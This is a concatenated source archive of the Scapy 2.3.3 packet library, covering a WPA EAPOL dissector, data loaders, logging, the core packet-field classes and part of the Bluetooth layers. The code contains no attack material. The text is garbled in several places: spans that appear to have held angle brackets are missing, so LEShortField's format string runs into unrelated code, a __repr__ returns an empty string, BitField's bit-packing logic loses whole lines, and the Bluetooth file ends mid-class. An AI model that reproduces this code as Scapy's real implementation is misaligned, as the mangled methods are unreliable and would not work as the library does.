scapy-2.3.3/scapy/contrib/wpa_eapol.py000066400000000000000000000023311300136037300177310ustar00rootroot00000000000000 # http://trac.secdev.org/scapy/ticket/104 # scapy.contrib.description = WPA EAPOL dissector # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import * class WPA_key(Packet): name = "WPA_key" fields_desc = [ ByteField("descriptor_type", 1), ShortField("key_info",0), LenField("len", None, "H"), StrFixedLenField("replay_counter", "", 8), StrFixedLenField("nonce", "", 32), StrFixedLenField("key_iv", "", 16), StrFixedLenField("wpa_key_rsc", "", 8), StrFixedLenField("wpa_key_id", "", 8), StrFixedLenField("wpa_key_mic", "", 16), LenField("wpa_key_length", None, "H"), StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length) ] def extract_padding(self, s): l = self.len return s[:l],s[l:] def hashret(self): return chr(self.type)+self.payload.hashret() def answers(self, other): if isinstance(other,WPA_key): return 1 return 0 bind_layers( EAPOL, WPA_key, type=3) scapy-2.3.3/scapy/dadict.py000066400000000000000000000060371300136037300155610ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Direct Access dictionary. """ from scapy.error import Scapy_Exception ############################### ## Direct Access dictionnary ## ############################### def fixname(x): if x and x[0] in "0123456789": x = "n_"+x return x.translate("________________________________________________0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______abcdefghijklmnopqrstuvwxyz_____________________________________________________________________________________________________________________________________") class DADict_Exception(Scapy_Exception): pass class DADict: def __init__(self, _name="DADict", **kargs): self._name=_name self.__dict__.update(kargs) def fixname(self,val): return fixname(val) def __contains__(self, val): return val in self.__dict__ def __getitem__(self, attr): return getattr(self, attr) def __setitem__(self, attr, val): return setattr(self, self.fixname(attr), val) def __iter__(self): return iter(map(lambda (x,y):y,filter(lambda (x,y):x and x[0]!="_", self.__dict__.items()))) def _show(self): for k in self.__dict__.keys(): if k and k[0] != "_": print "%10s = %r" % (k,getattr(self,k)) def __repr__(self): return "<%s/ %s>" % (self._name," ".join(filter(lambda x:x and x[0]!="_",self.__dict__.keys()))) def _branch(self, br, uniq=0): if uniq and br._name in self: raise DADict_Exception("DADict: [%s] already branched in [%s]" % (br._name, self._name)) self[br._name] = br def _my_find(self, *args, **kargs): if args and self._name not in args: return False for k in kargs: if k not in self or self[k] != kargs[k]: return False return True def _find(self, *args, **kargs): return self._recurs_find((), *args, **kargs) def _recurs_find(self, path, *args, **kargs): if self in path: return None if self._my_find(*args, **kargs): return self for o in self: if isinstance(o, DADict): p = o._recurs_find(path+(self,), *args, **kargs) if p is not None: return p return None def _find_all(self, *args, **kargs): return self._recurs_find_all((), *args, **kargs) def _recurs_find_all(self, path, *args, **kargs): r = [] if self in path: return r if self._my_find(*args, **kargs): r.append(self) for o in self: if isinstance(o, DADict): p = o._recurs_find_all(path+(self,), *args, **kargs) r += p return r def keys(self): return list(self.iterkeys()) def iterkeys(self): return (x for x in self.__dict__ if x and x[0] != "_") scapy-2.3.3/scapy/data.py000066400000000000000000000140541300136037300152400ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Global variables and functions for handling external data sets. """ import os,sys,re from scapy.dadict import DADict from scapy.error import log_loading ############ ## Consts ## ############ ETHER_ANY = "\x00"*6 ETHER_BROADCAST = "\xff"*6 ETH_P_ALL = 3 ETH_P_IP = 0x800 ETH_P_ARP = 0x806 ETH_P_IPV6 = 0x86dd # From net/if_arp.h ARPHDR_ETHER = 1 ARPHDR_METRICOM = 23 ARPHDR_PPP = 512 ARPHDR_LOOPBACK = 772 ARPHDR_TUN = 65534 # From net/ipv6.h on Linux (+ Additions) IPV6_ADDR_UNICAST = 0x01 IPV6_ADDR_MULTICAST = 0x02 IPV6_ADDR_CAST_MASK = 0x0F IPV6_ADDR_LOOPBACK = 0x10 IPV6_ADDR_GLOBAL = 0x00 IPV6_ADDR_LINKLOCAL = 0x20 IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 IPV6_ADDR_SCOPE_MASK = 0xF0 #IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 #IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) IPV6_ADDR_UNSPECIFIED = 0x10000 MTU = 0xffff # a.k.a give me all you have WINDOWS=sys.platform.startswith("win") # file parsing to get some values : def load_protocols(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: for l in open(filename): try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1]) except Exception,e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) except IOError: log_loading.info("Can't open %s file" % filename) return dct def load_ethertypes(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: f=open(filename) for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1], 16) except Exception,e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError,msg: pass return dct def load_services(filename): spaces = re.compile("[ \t]+|\n") tdct=DADict(_name="%s-tcp"%filename) udct=DADict(_name="%s-udp"%filename) try: f=open(filename) for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue if lt[1].endswith("/tcp"): tdct[lt[0]] = int(lt[1].split('/')[0]) elif lt[1].endswith("/udp"): udct[lt[0]] = int(lt[1].split('/')[0]) except Exception,e: log_loading.warning("Couldn't file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError: log_loading.info("Can't open /etc/services file") return tdct,udct class ManufDA(DADict): def fixname(self, val): return val def _get_manuf_couple(self, mac): oui = ":".join(mac.split(":")[:3]).upper() return self.__dict__.get(oui,(mac,mac)) def _get_manuf(self, mac): return self._get_manuf_couple(mac)[1] def _get_short_manuf(self, mac): return self._get_manuf_couple(mac)[0] def _resolve_MAC(self, mac): oui = ":".join(mac.split(":")[:3]).upper() if oui in self: return ":".join([self[oui][0]]+ mac.split(":")[3:]) return mac def load_manuf(filename): try: manufdb=ManufDA(_name=filename) for l in open(filename): try: l = l.strip() if not l or l.startswith("#"): continue oui,shrt=l.split()[:2] i = l.find("#") if i < 0: lng=shrt else: lng = l[i+2:] manufdb[oui] = shrt,lng except Exception,e: log_loading.warning("Couldn't parse one line from [%s] [%r] (%s)" % (filename, l, e)) except IOError: #log_loading.warning("Couldn't open [%s] file" % filename) pass return manufdb if WINDOWS: ETHER_TYPES=load_ethertypes("ethertypes") IP_PROTOS=load_protocols(os.environ["SystemRoot"]+"\system32\drivers\etc\protocol") TCP_SERVICES,UDP_SERVICES=load_services(os.environ["SystemRoot"] + "\system32\drivers\etc\services") MANUFDB = load_manuf(os.environ["ProgramFiles"] + "\\wireshark\\manuf") else: IP_PROTOS=load_protocols("/etc/protocols") ETHER_TYPES=load_ethertypes("/etc/ethertypes") TCP_SERVICES,UDP_SERVICES=load_services("/etc/services") MANUFDB = load_manuf("/usr/share/wireshark/wireshark/manuf") ##################### ## knowledge bases ## ##################### class KnowledgeBase: def __init__(self, filename): self.filename = filename self.base = None def lazy_init(self): self.base = "" def reload(self, filename = None): if filename is not None: self.filename = filename oldbase = self.base self.base = None self.lazy_init() if self.base is None: self.base = oldbase def get_base(self): if self.base is None: self.lazy_init() return self.base scapy-2.3.3/scapy/error.py000066400000000000000000000036141300136037300154600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Logging subsystem and basic exception class. """ ############################# ##### Logging subsystem ##### ############################# class Scapy_Exception(Exception): pass import logging,traceback,time class ScapyFreqFilter(logging.Filter): def __init__(self): logging.Filter.__init__(self) self.warning_table = {} def filter(self, record): from scapy.config import conf wt = conf.warning_threshold if wt > 0: stk = traceback.extract_stack() caller=None for f,l,n,c in stk: if n == 'warning': break caller = l tm,nb = self.warning_table.get(caller, (0,0)) ltm = time.time() if ltm-tm > wt: tm = ltm nb = 0 else: if nb < 2: nb += 1 if nb == 2: record.msg = "more "+record.msg else: return 0 self.warning_table[caller] = (tm,nb) return 1 try: from logging import NullHandler except ImportError: # compat for python 2.6 from logging import Handler class NullHandler(Handler): def emit(self, record): pass log_scapy = logging.getLogger("scapy") log_scapy.addHandler(NullHandler()) log_runtime = logging.getLogger("scapy.runtime") # logs at runtime log_runtime.addFilter(ScapyFreqFilter()) log_interactive = logging.getLogger("scapy.interactive") # logs in interactive functions log_loading = logging.getLogger("scapy.loading") # logs when loading scapy def warning(x): log_runtime.warning(x) scapy-2.3.3/scapy/fields.py000066400000000000000000001032431300136037300155740ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields: basic data structures that make up parts of packets. """ import struct,copy,socket from scapy.config import conf from scapy.volatile import * from scapy.data import * from scapy.utils import * from scapy.base_classes import BasePacket, Gen, Net, Field_metaclass ############ ## Fields ## ############ class Field(object): """For more informations on how this work, please refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf chapter ``Adding a New Field''""" __slots__ = ["name", "fmt", "default", "sz", "owners"] __metaclass__ = Field_metaclass islist = 0 holds_packets = 0 def __init__(self, name, default, fmt="H"): self.name = name if fmt[0] in "@=<>!": self.fmt = fmt else: self.fmt = "!"+fmt self.default = self.any2i(None,default) self.sz = struct.calcsize(self.fmt) self.owners = [] def register_owner(self, cls): self.owners.append(cls) def i2len(self, pkt, x): """Convert internal value to a length usable by a FieldLenField""" return self.sz def i2count(self, pkt, x): """Convert internal value to a number of elements usable by a FieldLenField. Always 1 except for list fields""" return 1 def h2i(self, pkt, x): """Convert human value to internal value""" return x def i2h(self, pkt, x): """Convert internal value to human value""" return x def m2i(self, pkt, x): """Convert machine value to internal value""" return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: x = 0 return x def any2i(self, pkt, x): """Try to understand the most input values possible and make an internal value from them""" return self.h2i(pkt, x) def i2repr(self, pkt, x): """Convert internal value to a nice representation""" return repr(self.i2h(pkt,x)) def addfield(self, pkt, s, val): """Add an internal value to a string""" return s+struct.pack(self.fmt, self.i2m(pkt,val)) def getfield(self, pkt, s): """Extract an internal value from a string""" return s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, s[:self.sz])[0]) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in xrange(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def __repr__(self): return "" % (",".join(x.__name__ for x in self.owners),self.name) def copy(self): return copy.deepcopy(self) def randval(self): """Return a volatile object whose value is both random and suitable for this field""" fmtt = self.fmt[-1] if fmtt in "BHIQ": return {"B":RandByte,"H":RandShort,"I":RandInt, "Q":RandLong}[fmtt]() elif fmtt == "s": if self.fmt[0] in "0123456789": l = int(self.fmt[:-1]) else: l = int(self.fmt[1:-1]) return RandBin(l) else: warning("no random class for [%s] (fmt=%s)." % (self.name, self.fmt)) class Emph(object): __slots__ = ["fld"] def __init__(self, fld): self.fld = fld def __getattr__(self, attr): return getattr(self.fld,attr) def __hash__(self): return hash(self.fld) def __eq__(self, other): return self.fld == other class ActionField(object): __slots__ = ["_fld", "_action_method", "_privdata"] def __init__(self, fld, action_method, **kargs): self._fld = fld self._action_method = action_method self._privdata = kargs def any2i(self, pkt, val): getattr(pkt, self._action_method)(val, self._fld, **self._privdata) return getattr(self._fld, "any2i")(pkt, val) def __getattr__(self, attr): return getattr(self._fld,attr) class ConditionalField(object): __slots__ = ["fld", "cond"] def __init__(self, fld, cond): self.fld = fld self.cond = cond def _evalcond(self,pkt): return self.cond(pkt) def getfield(self, pkt, s): if self._evalcond(pkt): return self.fld.getfield(pkt,s) else: return s,None def addfield(self, pkt, s, val): if self._evalcond(pkt): return self.fld.addfield(pkt,s,val) else: return s def __getattr__(self, attr): return getattr(self.fld,attr) class PadField(object): """Add bytes after the proxified field so that it ends at the specified alignment from its begining""" __slots__ = ["_fld", "_align", "_padwith"] def __init__(self, fld, align, padwith=None): self._fld = fld self._align = align self._padwith = padwith or "" def padlen(self, flen): return -flen%self._align def getfield(self, pkt, s): remain,val = self._fld.getfield(pkt,s) padlen = self.padlen(len(s)-len(remain)) return remain[padlen:], val def addfield(self, pkt, s, val): sval = self._fld.addfield(pkt, "", val) return s+sval+struct.pack("%is" % (self.padlen(len(sval))), self._padwith) def __getattr__(self, attr): return getattr(self._fld,attr) class DestField(Field): __slots__ = ["defaultdst"] # Each subclass must have its own bindings attribute # bindings = {} def __init__(self, name, default): self.defaultdst = default def dst_from_pkt(self, pkt): for addr, condition in self.bindings.get(pkt.payload.__class__, []): try: if all(pkt.payload.getfieldval(field) == value for field, value in condition.iteritems()): return addr except AttributeError: pass return self.defaultdst @classmethod def bind_addr(cls, layer, addr, **condition): cls.bindings.setdefault(layer, []).append((addr, condition)) class MACField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): if x is None: return "\0\0\0\0\0\0" return mac2str(x) def m2i(self, pkt, x): return str2mac(x) def any2i(self, pkt, x): if type(x) is str and len(x) is 6: x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): return RandMAC() class IPField(Field): slots = [] def __init__(self, name, default): Field.__init__(self, name, default, "4s") def h2i(self, pkt, x): if isinstance(x, basestring): try: inet_aton(x) except socket.error: x = Net(x) elif type(x) is list: x = [self.h2i(pkt, n) for n in x] return x def resolve(self, x): if self in conf.resolve: try: ret = socket.gethostbyaddr(x)[0] except: pass else: if ret: return ret return x def i2m(self, pkt, x): return inet_aton(x) def m2i(self, pkt, x): return inet_ntoa(x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): return self.resolve(self.i2h(pkt, x)) def randval(self): return RandIP() class SourceIPField(IPField): __slots__ = ["dstname"] def __init__(self, name, dstname): IPField.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: iff,x,gw = pkt.route() if x is None: x = "0.0.0.0" return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: if conf.route is None: # unused import, only to initialize conf.route import scapy.route dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route.route, dst) r.sort() if r[0] != r[-1]: warning("More than one possible route for %s"%repr(dst)) iff,x,gw = r[0] else: iff,x,gw = conf.route.route(dst) return IPField.i2h(self, pkt, x) class ByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "B") class XByteField(ByteField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class OByteField(ByteField): def i2repr(self, pkt, x): return "%03o"%self.i2h(pkt, x) class X3BytesField(XByteField): def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, "\x00"+s[:3])[0]) class ThreeBytesField(X3BytesField, ByteField): def i2repr(self, pkt, x): return ByteField.i2repr(self, pkt, x) class SignedByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") class ShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "H") class SignedShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "h") class LEShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, ">4))+chr(0x41+(ord(x)&0xf)), x)) x = " "+x return x def m2i(self, pkt, x): x = x.strip("\x00").strip(" ") return "".join(map(lambda x,y: chr((((ord(x)-1)&0xf)<<4)+((ord(y)-1)&0xf)), x[::2],x[1::2])) class StrLenField(StrField): __slots__ = ["length_from"] def __init__(self, name, default, fld=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class StrLenFieldUtf16(StrLenField): def h2i(self, pkt, x): return x.encode('utf-16')[2:] def i2h(self, pkt, x): return x.decode('utf-16') class BoundStrLenField(StrLenField): __slots__ = ["minlen", "maxlen"] def __init__(self,name, default, minlen= 0, maxlen= 255, fld=None, length_from=None): StrLenField.__init__(self, name, default, fld, length_from) self.minlen = minlen self.maxlen = maxlen def randval(self): return RandBin(RandNum(self.minlen, self.maxlen)) class FieldListField(Field): __slots__ = ["field", "count_from", "length_from"] islist = 1 def __init__(self, name, default, field, length_from=None, count_from=None): if default is None: default = [] # Create a new list for each instance self.field = field Field.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2count(self, pkt, val): if type(val) is list: return len(val) return 1 def i2len(self, pkt, val): return sum( self.field.i2len(pkt,v) for v in val ) def i2m(self, pkt, val): if val is None: val = [] return val def any2i(self, pkt, x): if type(x) is not list: return [self.field.any2i(pkt, x)] else: return map(lambda e, pkt=pkt: self.field.any2i(pkt, e), x) def i2repr(self, pkt, x): return map(lambda e, pkt=pkt: self.field.i2repr(pkt,e), x) def addfield(self, pkt, s, val): val = self.i2m(pkt, val) for v in val: s = self.field.addfield(pkt, s, v) return s def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) val = [] ret="" if l is not None: s,ret = s[:l],s[l:] while s: if c is not None: if c <= 0: break c -= 1 s,v = self.field.getfield(pkt, s) val.append(v) return s+ret, val class FieldLenField(Field): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, length_of=None, fmt = "H", count_of=None, adjust=lambda pkt,x:x, fld=None): Field.__init__(self, name, default, fmt) self.length_of = length_of self.count_of = count_of self.adjust = adjust if fld is not None: #FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__) self.length_of = fld def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld,fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) else: fld,fval = pkt.getfield_and_val(self.count_of) f = fld.i2count(pkt, fval) x = self.adjust(pkt,f) return x class StrNullField(StrField): def addfield(self, pkt, s, val): return s+self.i2m(pkt, val)+"\x00" def getfield(self, pkt, s): l = s.find("\x00") if l < 0: #XXX \x00 not found return "",s return s[l+1:],self.m2i(pkt, s[:l]) def randval(self): return RandTermString(RandNum(0,1200),"\x00") class StrStopField(StrField): __slots__ = ["stop", "additionnal"] def __init__(self, name, default, stop, additionnal=0): Field.__init__(self, name, default) self.stop = stop self.additionnal = additionnal def getfield(self, pkt, s): l = s.find(self.stop) if l < 0: return "",s # raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop l += len(self.stop)+self.additionnal return s[l:],s[:l] def randval(self): return RandTermString(RandNum(0,1200),self.stop) class LenField(Field): def i2m(self, pkt, x): if x is None: x = len(pkt.payload) return x class BCDFloatField(Field): def i2m(self, pkt, x): return int(256*x) def m2i(self, pkt, x): return x/256.0 class BitField(Field): __slots__ = ["rev", "size"] def __init__(self, name, default, size): Field.__init__(self, name, default) self.rev = size < 0 self.size = abs(size) def reverse(self, val): if self.size == 16: val = socket.ntohs(val) elif self.size == 32: val = socket.ntohl(val) return val def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if type(s) is tuple: s,bitsdone,v = s else: bitsdone = 0 v = 0 if self.rev: val = self.reverse(val) v <<= self.size v |= val & ((1L<= 8: bitsdone -= 8 s = s+struct.pack("!B", v >> bitsdone) v &= (1L<> (nb_bytes*8 - self.size - bn) if self.rev: b = self.reverse(b) bn += self.size s = s[bn/8:] bn = bn%8 b = self.m2i(pkt, b) if bn: return (s,bn),b else: return s,b def randval(self): return RandNum(0,2**self.size-1) class BitFieldLenField(BitField): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt,x:x): BitField.__init__(self, name, default, size) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return FieldLenField.i2m.im_func(self, pkt, x) class XBitField(BitField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt,x)) class _EnumField(Field): def __init__(self, name, default, enum, fmt = "H"): i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = range(len(enum)) else: keys = enum.keys() if any(type(x) is str for x in keys): i2s, s2i = s2i, i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x,VolatileValue) and x in self.i2s: return self.i2s[x] return repr(x) def any2i(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x) else: return self.any2i_one(pkt,x) def i2repr(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.i2repr_one(pkt,z), x) else: return self.i2repr_one(pkt,x) class EnumField(_EnumField): __slots__ = ["i2s", "s2i"] class CharEnumField(EnumField): def __init__(self, name, default, enum, fmt = "1s"): EnumField.__init__(self, name, default, enum, fmt) k = self.i2s.keys() if k and len(k[0]) != 1: self.i2s,self.s2i = self.s2i,self.i2s def any2i_one(self, pkt, x): if len(x) != 1: x = self.s2i[x] return x class BitEnumField(BitField, _EnumField): __slots__ = EnumField.__slots__ def __init__(self, name, default, size, enum): _EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) def any2i(self, pkt, x): return _EnumField.any2i(self, pkt, x) def i2repr(self, pkt, x): return _EnumField.i2repr(self, pkt, x) class ShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "H") class LEShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, ">> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 >>> FlagsTest(flags=0).show2().strip() ###[ FlagsTest ]### flags = :param name: field's name :param default: default value for the field :param size: number of bits in the field :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first """ __slots__ = ["multi", "names"] def __init__(self, name, default, size, names): self.multi = type(names) is list if self.multi: self.names = map(lambda x:[x], names) else: self.names = names BitField.__init__(self, name, default, size) def any2i(self, pkt, x): if type(x) is str: if self.multi: x = map(lambda y:[y], x.split("+")) y = 0 for i in x: y |= 1 << self.names.index(i) x = y return x def i2repr(self, pkt, x): if type(x) is list or type(x) is tuple: return repr(x) if self.multi: r = [] else: r = "" i=0 while x: if x & 1: r += self.names[i] i += 1 x >>= 1 if self.multi: r = "+".join(r) return r class FixedPointField(BitField): __slots__ = ['frac_bits'] def __init__(self, name, default, size, frac_bits=16): self.frac_bits = frac_bits BitField.__init__(self, name, default, size) def any2i(self, pkt, val): if val is None: return val ival = int(val) fract = int( (val-ival) * 2**self.frac_bits ) return (ival << self.frac_bits) | fract def i2h(self, pkt, val): int_part = val >> self.frac_bits frac_part = val & (1L << self.frac_bits) - 1 frac_part /= 2.0**self.frac_bits return int_part+frac_part def i2repr(self, pkt, val): return self.i2h(pkt, val) # Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field. # Machine values are encoded in a multiple of wordbytes bytes. class _IPPrefixFieldBase(Field): __slots__ = ["wordbytes", "maxbytes", "aton", "ntoa", "length_from"] def __init__(self, name, default, wordbytes, maxbytes, aton, ntoa, length_from): self.wordbytes = wordbytes self.maxbytes = maxbytes self.aton = aton self.ntoa = ntoa Field.__init__(self, name, default, "%is" % self.maxbytes) self.length_from = length_from def _numbytes(self, pfxlen): wbits= self.wordbytes * 8 return ((pfxlen + (wbits - 1)) / wbits) * self.wordbytes def h2i(self, pkt, x): # "fc00:1::1/64" -> ("fc00:1::1", 64) [pfx,pfxlen]= x.split('/') self.aton(pfx) # check for validity return (pfx, int(pfxlen)) def i2h(self, pkt, x): # ("fc00:1::1", 64) -> "fc00:1::1/64" (pfx,pfxlen)= x return "%s/%i" % (pfx,pfxlen) def i2m(self, pkt, x): # ("fc00:1::1", 64) -> ("\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) (pfx,pfxlen)= x s= self.aton(pfx); return (s[:self._numbytes(pfxlen)], pfxlen) def m2i(self, pkt, x): # ("\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) -> ("fc00:1::1", 64) (s,pfxlen)= x if len(s) < self.maxbytes: s= s + ("\0" * (self.maxbytes - len(s))) return (self.ntoa(s), pfxlen) def any2i(self, pkt, x): if x is None: return (self.ntoa("\0"*self.maxbytes), 1) return self.h2i(pkt,x) def i2len(self, pkt, x): (_,pfxlen)= x return pfxlen def addfield(self, pkt, s, val): (rawpfx,pfxlen)= self.i2m(pkt,val) fmt= "!%is" % self._numbytes(pfxlen) return s+struct.pack(fmt, rawpfx) def getfield(self, pkt, s): pfxlen= self.length_from(pkt) numbytes= self._numbytes(pfxlen) fmt= "!%is" % numbytes return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen)) class IPPrefixField(_IPPrefixFieldBase): def __init__(self, name, default, wordbytes=1, length_from= None): _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 4, inet_aton, inet_ntoa, length_from) class IP6PrefixField(_IPPrefixFieldBase): def __init__(self, name, default, wordbytes= 1, length_from= None): _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 16, lambda a: inet_pton(socket.AF_INET6, a), lambda n: inet_ntop(socket.AF_INET6, n), length_from) scapy-2.3.3/scapy/layers/000077500000000000000000000000001300136037300152505ustar00rootroot00000000000000scapy-2.3.3/scapy/layers/__init__.py000066400000000000000000000003361300136037300173630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Layer package. """ scapy-2.3.3/scapy/layers/all.py000066400000000000000000000020661300136037300163760ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ All layers. Configurable with conf.load_layers. """ from scapy.config import conf from scapy.error import log_loading import logging log = logging.getLogger("scapy.loading") __all__ = [] def _import_star(m): mod = __import__(m, globals(), locals()) if '__all__' in mod.__dict__: # only import the exported symbols in __all__ for name in mod.__dict__['__all__']: __all__.append(name) globals()[name] = mod.__dict__[name] else: # import all the non-private symbols for name, sym in mod.__dict__.iteritems(): if name[0] != '_': __all__.append(name) globals()[name] = sym for _l in conf.load_layers: log_loading.debug("Loading layer %s" % _l) try: _import_star(_l) except Exception,e: log.warning("can't import layer %s: %s" % (_l,e)) scapy-2.3.3/scapy/layers/bluetooth.py000066400000000000000000001015771300136037300176420ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) Mike Ryan ## This program is published under a GPLv2 license """ Bluetooth layers, sockets and send/receive functions. """ import socket,struct,array from ctypes import * from select import select from scapy.all import * from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.supersocket import SuperSocket from scapy.sendrecv import sndrcv from scapy.data import MTU ########## # Fields # ########## class XLEShortField(LEShortField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class XLELongField(LEShortField): def __init__(self, name, default): Field.__init__(self, name, default, ">8)&0xff)+p[4:] return p class L2CAP_Hdr(Packet): name = "L2CAP header" fields_desc = [ LEShortField("len",None), LEShortEnumField("cid",0,{1:"control", 4:"attribute"}),] def post_build(self, p, pay): p += pay if self.len is None: l = len(pay) p = chr(l&0xff)+chr((l>>8)&0xff)+p[2:] return p class L2CAP_CmdHdr(Packet): name = "L2CAP command header" fields_desc = [ ByteEnumField("code",8,{1:"rej",2:"conn_req",3:"conn_resp", 4:"conf_req",5:"conf_resp",6:"disconn_req", 7:"disconn_resp",8:"echo_req",9:"echo_resp", 10:"info_req",11:"info_resp", 18:"conn_param_update_req", 19:"conn_param_update_resp"}), ByteField("id",0), LEShortField("len",None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] return p def answers(self, other): if other.id == self.id: if self.code == 1: return 1 if other.code in [2,4,6,8,10,18] and self.code == other.code+1: if other.code == 8: return 1 return self.payload.answers(other.payload) return 0 class L2CAP_ConnReq(Packet): name = "L2CAP Conn Req" fields_desc = [ LEShortEnumField("psm",0,{1:"SDP",3:"RFCOMM",5:"telephony control"}), LEShortField("scid",0), ] class L2CAP_ConnResp(Packet): name = "L2CAP Conn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), LEShortEnumField("result",0,["success", "pend", "cr_bad_psm", "cr_sec_block", "cr_no_mem", "reserved","cr_inval_scid", "cr_scid_in_use"]), LEShortEnumField("status",0,["no_info", "authen_pend", "author_pend", "reserved"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_CmdRej(Packet): name = "L2CAP Command Rej" fields_desc = [ LEShortField("reason",0), ] class L2CAP_ConfReq(Packet): name = 